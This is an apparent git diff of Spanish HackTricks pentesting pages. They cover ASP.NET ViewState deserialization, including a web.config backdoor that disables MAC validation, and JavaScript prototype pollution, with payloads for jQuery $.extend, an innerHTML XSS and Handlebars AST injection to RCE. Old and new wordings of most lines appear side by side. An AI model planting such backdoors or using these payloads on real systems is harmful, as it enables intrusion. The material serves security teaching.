||||
|
||||
* Una solicitud POST
|
||||
* Una página ASP.NET que acepte parámetros de entrada
|
||||
* Un nombre de parámetro de entrada válido. Por ejemplo, el parámetro `myinput` en la solicitud POST cuando tenemos el siguiente código en el lado del servidor:
|
||||
```markup
|
||||
<asp:TextBox runat="server" ID="myinput" />
|
||||
```
|
||||
El valor del parámetro `__VIEWSTATE` puede estar vacío en la solicitud al explotar el parámetro `__EVENTVALIDATION`, pero debe existir.
|
||||
|
||||
La cadena `Purpose` que utiliza .NET Framework 4.5 y superior para crear una firma válida es diferente según el parámetro utilizado. La siguiente tabla muestra las cadenas `Purpose` definidas en .NET Framework:
|
||||
|
||||
| **Parámetro de entrada** | **Cadena Purpose** |
|
||||
| ------------------------------------------------------------ | -------------------------------------------------- |
|
||||
| “\_\_VIEWSTATE” | WebForms.HiddenFieldPageStatePersister.ClientState |
|
||||
| “\_\_EVENTVALIDATION” | WebForms.ClientScriptManager.EventValidation |
|
||||
| P2 en P1\|P2 en “\_\_dv” + ClientID + “\_\_hidden” | WebForms.DetailsView.KeyTable |
|
||||
| P4 en P1\|P2\|P3\|P4 en “\_\_CALLBACKPARAM” | WebForms.DetailsView.KeyTable |
|
||||
| P3 en P1\|P2\|P3\|P4 en “\_\_gv” + ClientID + “\_\_hidden” | WebForms.GridView.SortExpression |
|
||||
| P4 en P1\|P2\|P3\|P4 en “\_\_gv” + ClientID + “\_\_hidden” | WebForms.GridView.DataKeys |
|
||||
|
||||
La tabla anterior muestra todos los parámetros de entrada que podrían ser objetivo.
|
||||
|
||||
## **Cuidado con el parámetro PreviousPage**
|
||||
|
||||
Cuando el parámetro **`__PREVIOUSPAGE`** existe en la solicitud con datos **inválidos**, la **aplicación** **no** **deserializa** el parámetro **`__VIEWSTATE`**. Proporcionar el parámetro `__CALLBACKID` evita este comportamiento.
|
||||
|
||||
## **Fiabilidad de errores**
|
||||
|
||||
Como se explicó anteriormente, a veces usamos errores para comprobar si un ViewState generado es válido. ASP.NET no muestra el error de validación MAC por defecto cuando se utiliza un parámetro `__VIEWSTATEGENERATOR` inválido. Este comportamiento cambia cuando se utiliza la propiedad `ViewStateUserKey`, ya que ASP.NET ya no suprime los errores de validación MAC.
|
||||
|
||||
Además de esto, las aplicaciones web de ASP.NET pueden ignorar los errores de validación MAC con la siguiente configuración incluso cuando se utiliza la propiedad `ViewStateUserKey`:
|
||||
```markup
|
||||
<appSettings>
|
||||
<add key="aspnet:AlwaysIgnoreViewStateValidationErrors" value="true" />
|
||||
</appSettings>
|
||||
```
|
||||
# Web.config como puerta trasera
|
||||
|
||||
Si los atacantes pueden **cambiar** el archivo **`web.config`** en la raíz de una aplicación, pueden **ejecutar código fácilmente** en el servidor. Sin embargo, incrustar una puerta trasera sigilosa en la aplicación podría ser una buena opción para un atacante. Esto se puede hacer **desactivando la validación MAC** y estableciendo la propiedad `viewStateEncryptionMode` en `Always`. Esto significa que todas las páginas ASP.NET que no establezcan la propiedad `ViewStateEncryptionMode` en `Auto` o `Never` siempre usan parámetros de ViewState cifrados. Sin embargo, como **ViewState no utiliza la función de validación MAC, ahora son vulnerables a la ejecución remota de código a través de la deserialización de datos no confiables**. Lo siguiente muestra un ejemplo:
|
||||
```markup
|
||||
<configuration>
|
||||
…
|
||||
<system.web>
|
||||
…
|
||||
<pages enableViewStateMac="false" viewStateEncryptionMode="Always" />
|
||||
</system.web>
|
||||
<appSettings>
|
||||
<add key="aspnet:AllowInsecureDeserialization" value="false" />
|
||||
</appSettings>
|
||||
</configuration>
|
||||
```
|
||||
¡Otra opción para un sitio web independiente sería establecer la sección `machineKey` con claves y algoritmos arbitrarios para detener a otros atacantes!
|
||||
|
||||
Cabe señalar que establecer la propiedad `EnableViewState` en `False` no detiene este ataque ya que el ViewState seguirá siendo analizado por ASP.NET.
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** repositorios de [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Revisa la increíble publicación de** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
|
|
|
@ -2,35 +2,35 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Objetos en JavaScript <a href="#053a" id="053a"></a>
|
||||
|
||||
Primero que nada, necesitamos entender `Object` en JavaScript. Un objeto es simplemente una colección de pares de clave y valor, a menudo llamados propiedades de ese objeto. Por ejemplo:
|
||||
En primer lugar, necesitamos entender `Object` en JavaScript. Un objeto es simplemente una colección de pares clave-valor, a menudo llamados propiedades de ese objeto. Por ejemplo:
|
||||
|
||||
![](<../../../.gitbook/assets/image (389) (1).png>)
|
||||
|
||||
En Javascript, `Object` es un objeto básico, la plantilla para todos los objetos recién creados. Es posible crear un objeto vacío pasando `null` a `Object.create`. Sin embargo, el objeto recién creado también tendrá un tipo que corresponde al parámetro pasado y hereda todas las propiedades básicas.
|
||||
En JavaScript, `Object` es un objeto básico, la plantilla para todos los objetos recién creados. Es posible crear un objeto vacío pasando `null` a `Object.create`. Sin embargo, el objeto recién creado también tendrá un tipo que corresponde al parámetro pasado y heredará todas las propiedades básicas.
|
||||
```javascript
|
||||
console.log(Object.create(null)); // prints an empty object
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (360).png>)
|
||||
|
||||
Anteriormente aprendimos que un Objeto en javascript es una colección de claves y valores, por lo que tiene sentido que un objeto `null` sea solo un diccionario vacío: `{}`
|
||||
Anteriormente aprendimos que un Objeto en javascript es una colección de claves y valores, por lo que tiene sentido que un objeto `null` sea simplemente un diccionario vacío: `{}`
|
||||
|
||||
## Funciones / Clases en Javascript <a href="#55dd" id="55dd"></a>
|
||||
|
||||
En Javascript, los conceptos de clase y función están bastante interrelacionados (la función misma actúa como el constructor de la clase y la naturaleza real no tiene concepto de "clase" en javascript). Veamos el siguiente ejemplo:
|
||||
En Javascript, los conceptos de la clase y la función están bastante interrelacionados (la función en sí actúa como el constructor de la clase y la naturaleza real no tiene concepto de "clase" en javascript). Veamos el siguiente ejemplo:
|
||||
```javascript
|
||||
function person(fullName, age) {
|
||||
this.age = age;
|
||||
|
@ -44,12 +44,11 @@ return this.fullName + " has age: " + this.age;
|
|||
```javascript
|
||||
var person1 = new person("Satoshi", 70);
|
||||
```
|
||||
```markdown
|
||||
![](<../../../.gitbook/assets/image (362).png>)
|
||||
|
||||
## Prototipos en JavaScript <a href="#3843" id="3843"></a>
|
||||
|
||||
Es importante notar que el atributo prototype puede ser cambiado/modificado/eliminado al ejecutar el código. Por ejemplo, funciones a la clase pueden ser añadidas dinámicamente:
|
||||
Una cosa a tener en cuenta es que el atributo prototype puede ser cambiado/modificado/eliminado al ejecutar el código. Por ejemplo, las funciones de la clase pueden ser añadidas dinámicamente:
|
||||
|
||||
![](<../../../.gitbook/assets/image (363).png>)
|
||||
|
||||
|
@ -61,30 +60,29 @@ Las funciones de la clase también pueden ser modificadas (como `toString` o `va
|
|||
|
||||
## Herencia
|
||||
|
||||
En un programa basado en prototipos, los objetos heredan propiedades/métodos de clases. Las clases se derivan añadiendo propiedades/métodos a una instancia de otra clase o añadiéndolos a un objeto vacío.
|
||||
En un programa basado en prototipos, los objetos heredan propiedades/métodos de las clases. Las clases se derivan añadiendo propiedades/métodos a una instancia de otra clase o añadiéndolos a un objeto vacío.
|
||||
|
||||
Nota que, si añades una propiedad a un objeto que se usa como prototipo para un conjunto de objetos (como el myPersonObj), los objetos para los cuales es prototipo también obtienen la nueva propiedad, pero esa propiedad no se imprime a menos que se llame específicamente.
|
||||
Ten en cuenta que, si añades una propiedad a un objeto que se utiliza como prototipo para un conjunto de objetos (como el myPersonObj), los objetos para los que es el prototipo también obtienen la nueva propiedad, pero esa propiedad no se imprime a menos que se llame específicamente.
|
||||
|
||||
![](<../../../.gitbook/assets/image (366).png>)
|
||||
|
||||
## Contaminación de \_\_proto\_\_ <a href="#0d0a" id="0d0a"></a>
|
||||
|
||||
Ya deberías haber aprendido que **cada objeto en JavaScript es simplemente una colección de pares clave y valor** y que **cada objeto hereda del tipo Object en JavaScript**. Esto significa que si puedes contaminar el tipo Object **¡cada objeto JavaScript del entorno va a estar contaminado!**
|
||||
Ya deberías haber aprendido que **cada objeto en JavaScript es simplemente una colección de pares clave y valor** y que **cada objeto hereda del tipo Object en JavaScript**. Esto significa que si eres capaz de contaminar el tipo Object **¡cada objeto JavaScript del entorno será contaminado!**
|
||||
|
||||
Esto es bastante simple, solo necesitas ser capaz de modificar algunas propiedades (pares clave-valor) de un objeto JavaScript arbitrario, porque como cada objeto hereda de Object, cada objeto puede acceder al esquema de Object.
|
||||
```
|
||||
```javascript
|
||||
function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
}
|
||||
var person1 = new person("Satoshi");
|
||||
```
|
||||
Del ejemplo anterior es posible acceder a la estructura de Object utilizando las siguientes formas:
|
||||
A partir del ejemplo anterior, es posible acceder a la estructura del objeto utilizando las siguientes formas:
|
||||
```javascript
|
||||
person1.__proto__.__proto__
|
||||
person.__proto__.__proto__
|
||||
```
|
||||
Entonces, como se mencionó anteriormente, si ahora se agrega una propiedad al esquema Object, cada objeto JavaScript tendrá acceso a la nueva propiedad:
|
||||
Entonces, como se mencionó anteriormente, si ahora se agrega una propiedad al esquema del objeto, todos los objetos de JavaScript tendrán acceso a la nueva propiedad:
|
||||
```javascript
|
||||
function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
|
@ -97,13 +95,13 @@ person1.printHello() //This now works and prints hello
|
|||
person1.__proto__.__proto__.globalconstant = true
|
||||
person1.globalconstant //This now works and is "true"
|
||||
```
|
||||
Así que ahora cada objeto JS contendrá las nuevas propiedades: la función `printHello` y la nueva constante `globalconstant`
|
||||
Entonces, cada objeto JS contendrá las nuevas propiedades: la función `printHello` y la nueva constante `globalconstant`
|
||||
|
||||
## contaminación de prototipos
|
||||
|
||||
Esta técnica no es tan efectiva como la anterior ya que no puedes contaminar el esquema del Objeto JS. Pero en casos donde la **palabra clave `__proto__` esté prohibida, esta técnica puede ser útil**.
|
||||
Esta técnica no es tan efectiva como la anterior ya que no puedes contaminar el esquema de un objeto JS. Pero en casos donde la **palabra clave `__proto__` está prohibida, esta técnica puede ser útil**.
|
||||
|
||||
Si puedes modificar las propiedades de una función, puedes modificar la propiedad `prototype` de la función y **cada nueva propiedad que añadas aquí será heredada por cada objeto creado a partir de esa función:**
|
||||
Si puedes modificar las propiedades de una función, puedes modificar la propiedad `prototype` de la función y **cada nueva propiedad que agregues aquí será heredada por cada objeto creado a partir de esa función:**
|
||||
```javascript
|
||||
function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
|
@ -120,17 +118,17 @@ person1.newConstant //This now works and is "true"
|
|||
person1.constructor.prototype.sayHello = function(){console.log("Hello");}
|
||||
person1.constructor.prototype.newConstant = true
|
||||
```
|
||||
En este caso, solo los **objetos creados a partir de la clase `person`** se verán afectados, pero cada uno de ellos ahora **heredará las propiedades `sayHello` y `newConstant`**.
|
||||
En este caso solo se verán afectados los **objetos creados a partir de la clase `person`**, pero cada uno de ellos ahora **heredará las propiedades `sayHello` y `newConstant`**.
|
||||
|
||||
**Hay 2 maneras de abusar de la contaminación de prototipos para envenenar CADA objeto de JS.**
|
||||
**Hay 2 formas de abusar de la contaminación de prototipos para envenenar CADA objeto JS.**
|
||||
|
||||
La primera sería contaminar la propiedad prototype de **Object** (como se mencionó antes, cada objeto de JS hereda de este):
|
||||
La primera sería contaminar el prototipo de la propiedad de **Object** (como se mencionó anteriormente, todos los objetos JS heredan de este):
|
||||
```javascript
|
||||
Object.prototype.sayBye = function(){console.log("bye!")}
|
||||
```
|
||||
Si logras hacer eso, cada objeto JS podrá ejecutar la función `sayBye`.
|
||||
|
||||
La otra forma es envenenar el prototipo de un constructor de una variable de diccionario como en el siguiente ejemplo:
|
||||
Otra forma es envenenar el prototipo de un constructor de una variable de diccionario como en el siguiente ejemplo:
|
||||
```javascript
|
||||
something = {"a": "b"}
|
||||
something.constructor.prototype.sayHey = function(){console.log("Hey!")}
|
||||
|
@ -141,7 +139,7 @@ Después de ejecutar ese código, **cada objeto JS podrá ejecutar la función `
|
|||
|
||||
### De una clase a Object.prototype
|
||||
|
||||
En un escenario donde puedas **contaminar un objeto específico** y necesites **llegar a `Object.prototype`**, puedes buscarlo con un código como el siguiente:
|
||||
En un escenario donde puedes **contaminar un objeto específico** y necesitas **llegar a `Object.prototype`** puedes buscarlo con un código similar al siguiente:
|
||||
```javascript
|
||||
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
|
||||
|
||||
|
@ -162,9 +160,9 @@ console.log(key1 + "." + key2)
|
|||
}
|
||||
}
|
||||
```
|
||||
### Contaminación de elementos de array
|
||||
### Contaminación de elementos de un array
|
||||
|
||||
Ten en cuenta que, así como puedes contaminar atributos de objetos en JS, si tienes acceso para contaminar un array también puedes **contaminar valores del array** accesibles **por índices** (ten en cuenta que no puedes sobrescribir valores, por lo que necesitas contaminar índices que de alguna manera se usen pero no se escriban).
|
||||
Ten en cuenta que al igual que puedes contaminar atributos de objetos en JS, si tienes acceso para contaminar un array también puedes **contaminar los valores del array** accesibles **por índices** (nota que no puedes sobrescribir valores, por lo que necesitas contaminar índices que de alguna manera se utilicen pero no se escriban).
|
||||
```javascript
|
||||
c = [1,2]
|
||||
a = []
|
||||
|
@ -174,9 +172,9 @@ b[0] //undefined
|
|||
b[1] //"yolo"
|
||||
c[1] // 2 -- not
|
||||
```
|
||||
### Contaminación de elementos HTML
|
||||
### Contaminación de elementos Html
|
||||
|
||||
Al generar un elemento HTML mediante JS, es posible **sobrescribir** el atributo **`innerHTML`** para hacer que escriba **código HTML arbitrario.** [Idea y ejemplo de este informe](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
|
||||
Al generar un elemento HTML a través de JS, es posible **sobrescribir** el atributo **`innerHTML`** para hacer que escriba **código HTML arbitrario**. [Idea y ejemplo de este informe](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -195,62 +193,62 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
|
|||
|
||||
### Ejemplo Básico
|
||||
|
||||
¿Dónde ocurre la contaminación del prototipo? Sucede cuando hay un error en la aplicación que permite sobrescribir propiedades de `Object.prototype`. Dado que cada objeto típico hereda sus propiedades de `Object.prototype`, podemos cambiar el comportamiento de la aplicación. El ejemplo más comúnmente mostrado es el siguiente:
|
||||
Entonces, ¿dónde está la contaminación del prototipo? Sucede cuando hay un error en la aplicación que permite sobrescribir propiedades de `Object.prototype`. Dado que cada objeto típico hereda sus propiedades de `Object.prototype`, podemos cambiar el comportamiento de la aplicación. El ejemplo más comúnmente mostrado es el siguiente:
|
||||
```javascript
|
||||
if (user.isAdmin) { // do something important!}
|
||||
```
|
||||
Imagina que tenemos una contaminación de prototipos que hace posible establecer `Object.prototype.isAdmin = true`. Entonces, a menos que la aplicación haya asignado explícitamente algún valor, `user.isAdmin` ¡siempre es verdadero!
|
||||
Imaginemos que tenemos una contaminación de prototipos que hace posible establecer `Object.prototype.isAdmin = true`. ¡Entonces, a menos que la aplicación asigne explícitamente algún valor, `user.isAdmin` siempre es verdadero!
|
||||
|
||||
![](https://research.securitum.com/wp-content/uploads/sites/2/2019/10/image-1.png)
|
||||
|
||||
Por ejemplo, `obj[a][b] = value`. Si el atacante puede controlar el valor de `a` y `value`, entonces solo necesita ajustar el valor de `a` a `__proto__` (en javascript, `obj["__proto__"]` y `obj.__proto__` son completamente equivalentes) entonces la propiedad `b` de todos los objetos existentes en la aplicación se asignará a `value`.
|
||||
Por ejemplo, `obj[a][b] = value`. Si el atacante puede controlar el valor de `a` y `value`, entonces solo necesita ajustar el valor de `a` a `__proto__` (en JavaScript, `obj["__proto__"]` y `obj.__proto__` son completamente equivalentes) luego la propiedad `b` de todos los objetos existentes en la aplicación se asignará a `value`.
|
||||
|
||||
Sin embargo, el ataque no es tan simple como el anterior, según [paper](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf), solo podemos atacar cuando se cumple una de las siguientes tres condiciones:
|
||||
Sin embargo, el ataque no es tan simple como el anterior, según [documento](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript\_prototype\_pollution\_attack\_in\_NodeJS.pdf), solo podemos atacar cuando se cumple una de las siguientes tres condiciones:
|
||||
|
||||
* Realizar una fusión recursiva
|
||||
* Definición de propiedad por ruta
|
||||
* Clonar objeto
|
||||
|
||||
### Sobrescribir función
|
||||
### Anular función
|
||||
```python
|
||||
customer.__proto__.toString = ()=>{alert("polluted")}
|
||||
```
|
||||
### Proto Pollution a RCE
|
||||
### Contaminación de Prototipo a RCE
|
||||
|
||||
{% content-ref url="prototype-pollution-to-rce.md" %}
|
||||
[prototype-pollution-to-rce.md](prototype-pollution-to-rce.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Prototype pollution en cliente a XSS
|
||||
## Contaminación de Prototipo del lado del cliente a XSS
|
||||
|
||||
{% content-ref url="client-side-prototype-pollution.md" %}
|
||||
[client-side-prototype-pollution.md](client-side-prototype-pollution.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### CVE-2019–11358: Ataque de prototype pollution a través de jQuery $ .extend
|
||||
### CVE-2019–11358: Ataque de contaminación de prototipo a través de jQuery $ .extend
|
||||
|
||||
$ .extend, si se maneja incorrectamente, puede cambiar las propiedades del objeto `prototype` (la plantilla de los objetos en la app). Este atributo aparecerá luego en todos los objetos. Note que solo la versión "profunda" (es decir, g) de $ .extend está afectada.
|
||||
$ .extend, si se maneja incorrectamente, puede cambiar las propiedades del objeto `prototype` (la plantilla de los objetos en la aplicación). Esta propiedad luego aparecerá en todos los objetos. Tenga en cuenta que solo la versión "profunda" (es decir, g) de $ .extened se ve afectada.
|
||||
|
||||
Los programadores a menudo usan esta función para duplicar un objeto o completar nuevas propiedades a partir de un objeto predeterminado. Por ejemplo:
|
||||
|
||||
Podemos imaginar que `myObject` es un campo de entrada del usuario y se serializa en la DB)
|
||||
Podemos imaginar que `myObject` es un campo de entrada del usuario y se serializa en la base de datos)
|
||||
|
||||
En este código, a menudo pensamos que, al ejecutarse, asignará el atributo `isAdmin` al objeto recién creado. Pero esencialmente, se asigna directamente a `{}` y luego `{}.isAdmin` será `true`. Si después de este código, realizamos la siguiente comprobación:
|
||||
En este código, a menudo pensamos que, al ejecutarlo, asignará el atributo `isAdmin` al objeto recién creado. Pero esencialmente, se asigna directamente a `{}` y luego `{}.isAdmin` será `true`. Si después de este código, realizamos la siguiente verificación:
|
||||
```javascript
|
||||
If (user.isAdmin === true) {
|
||||
// do something for admin
|
||||
}
|
||||
```
|
||||
Si el usuario aún no existe (`undefined`), la propiedad `isAdmin` se buscará en su objeto padre, que es el Objeto al que se le añadió `isAdmin` con el valor `true` arriba.
|
||||
Si el usuario aún no ha existido (`undefined`), la propiedad `isAdmin` se buscará en su objeto padre, que es el objeto al que se le agregó `isAdmin` con el valor `true` arriba.
|
||||
|
||||
Otro ejemplo cuando se ejecuta en JQuery 3.3.1:
|
||||
Otro ejemplo al ejecutarse en JQuery 3.3.1:
|
||||
```javascript
|
||||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
|
||||
console.log({}.devMode); // true
|
||||
```
|
||||
Estos errores pueden afectar a muchos proyectos de Javascript, especialmente a proyectos de NodeJS, el ejemplo más práctico es el error en Mongoose, la biblioteca de JS que ayuda a manipular MongoDB, en diciembre de 2018.
|
||||
Estos errores pueden afectar a muchos proyectos de Javascript, especialmente a los proyectos de NodeJS, el ejemplo más práctico es el error en Mongoose, la biblioteca JS que ayuda a manipular MongoDB, en diciembre de 2018.
|
||||
|
||||
### CVE-2018–3721, CVE-2019–10744: Ataque de contaminación de prototipos a través de lodash
|
||||
### CVE-2018–3721, CVE-2019–10744: Ataque de polución de prototipos a través de lodash
|
||||
|
||||
[Lodash](https://www.npmjs.com/package/lodash) es también una biblioteca conocida que proporciona muchas funciones diferentes, ayudándonos a escribir código de manera más conveniente y ordenada con más de 19 millones de descargas semanales. Y tuvo el mismo problema que JQuery.
|
||||
|
||||
|
@ -264,128 +262,23 @@ Este error afecta a todas las versiones de Lodash, ya corregido en la versión 4
|
|||
|
||||
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
|
||||
|
||||
## Contaminación de prototipos AST
|
||||
### Polución de prototipos AST en NodeJS
|
||||
|
||||
En NodeJS, AST se usa en JS realmente a menudo, como motores de plantillas y typescript, etc.\
|
||||
Para el motor de plantillas, la estructura se muestra arriba.
|
||||
NodeJS utiliza extensamente Árboles de Sintaxis Abstracta (AST) en JavaScript para funcionalidades como motores de plantillas y TypeScript. Esta sección explora las vulnerabilidades relacionadas con la polución de prototipos en motores de plantillas, específicamente Handlebars y Pug.
|
||||
|
||||
![img](https://blog.p6.is/img/2020/08/graph_3.jpg)
|
||||
#### Análisis de Vulnerabilidad de Handlebars
|
||||
|
||||
### Handlebars
|
||||
El motor de plantillas Handlebars puede ser explotado para la polución de prototipos. La vulnerabilidad se encuentra principalmente en las funciones `appendContent` y `pushSource` en el archivo `javascript-compiler.js`, donde `appendContent` concatena `pendingContent` si existe, y `pushSource` establece `pendingContent` en `undefined` después de empujar la fuente.
|
||||
|
||||
Información tomada de [https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/)
|
||||
##### Proceso de Explotación
|
||||
|
||||
Puedes insertar cualquier cadena en `Object.prototype.pendingContent` para determinar la posibilidad de un ataque.\
|
||||
Esto te permite estar seguro de que los servidores están utilizando el motor handlebars cuando existe una contaminación de prototipos en un entorno de caja negra.
|
||||
```javascript
|
||||
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js -->
|
||||
La explotación implica la manipulación del AST generado por Handlebars. El proceso es el siguiente:
|
||||
|
||||
...
|
||||
appendContent: function appendContent(content) {
|
||||
if (this.pendingContent) {
|
||||
content = this.pendingContent + content;
|
||||
} else {
|
||||
this.pendingLocation = this.source.currentLocation;
|
||||
}
|
||||
1. **Manipulación del Analizador**: El analizador, a través del nodo `NumberLiteral`, fuerza que los valores sean números. Sin embargo, esto puede ser eludido por la polución de prototipos, permitiendo la inserción de cadenas no numéricas.
|
||||
2. **Manejo del Compilador**: El compilador acepta un Objeto AST o una cadena de plantilla. Si `input.type` es `Program`, se considera que la entrada está preanalizada, lo que lleva a una posible explotación.
|
||||
3. **Inyección de Código**: Al manipular `Object.prototype`, se puede inyectar código arbitrario en la función de plantilla, lo que lleva a una posible ejecución remota de código.
|
||||
|
||||
this.pendingContent = content;
|
||||
},
|
||||
pushSource: function pushSource(source) {
|
||||
if (this.pendingContent) {
|
||||
this.source.push(this.appendToBuffer(this.source.quotedString(this.pendingContent), this.pendingLocation));
|
||||
this.pendingContent = undefined;
|
||||
}
|
||||
|
||||
if (source) {
|
||||
this.source.push(source);
|
||||
}
|
||||
}
|
||||
...
|
||||
```
|
||||
**Explotación**
|
||||
|
||||
![img](https://blog.p6.is/img/2020/08/graph\_5.jpg)
|
||||
|
||||
Handlebars funciona como se muestra en el gráfico anterior.
|
||||
|
||||
Después de que el lexer y el parser generan el AST, se pasa a `compiler.js`\
|
||||
Podemos ejecutar la función de plantilla que el compilador generó con algunos argumentos. y devuelve una cadena como "Hola posix" (cuando msg es posix)
|
||||
```javascript
|
||||
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js -->
|
||||
|
||||
case 36:
|
||||
this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };
|
||||
break;
|
||||
```
|
||||
El analizador en handlebars fuerza el valor de un nodo cuyo tipo es NumberLiteral para que siempre sea un número a través del constructor Number. Sin embargo, puedes insertar una cadena no numérica aquí utilizando la contaminación de prototipos.
|
||||
```javascript
|
||||
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/base.js -->
|
||||
|
||||
function parseWithoutProcessing(input, options) {
|
||||
// Just return if an already-compiled AST was passed in.
|
||||
if (input.type === 'Program') {
|
||||
return input;
|
||||
}
|
||||
|
||||
_parser2['default'].yy = yy;
|
||||
|
||||
// Altering the shared object here, but this is ok as parser is a sync operation
|
||||
yy.locInfo = function (locInfo) {
|
||||
return new yy.SourceLocation(options && options.srcName, locInfo);
|
||||
};
|
||||
|
||||
var ast = _parser2['default'].parse(input);
|
||||
|
||||
return ast;
|
||||
}
|
||||
|
||||
function parse(input, options) {
|
||||
var ast = parseWithoutProcessing(input, options);
|
||||
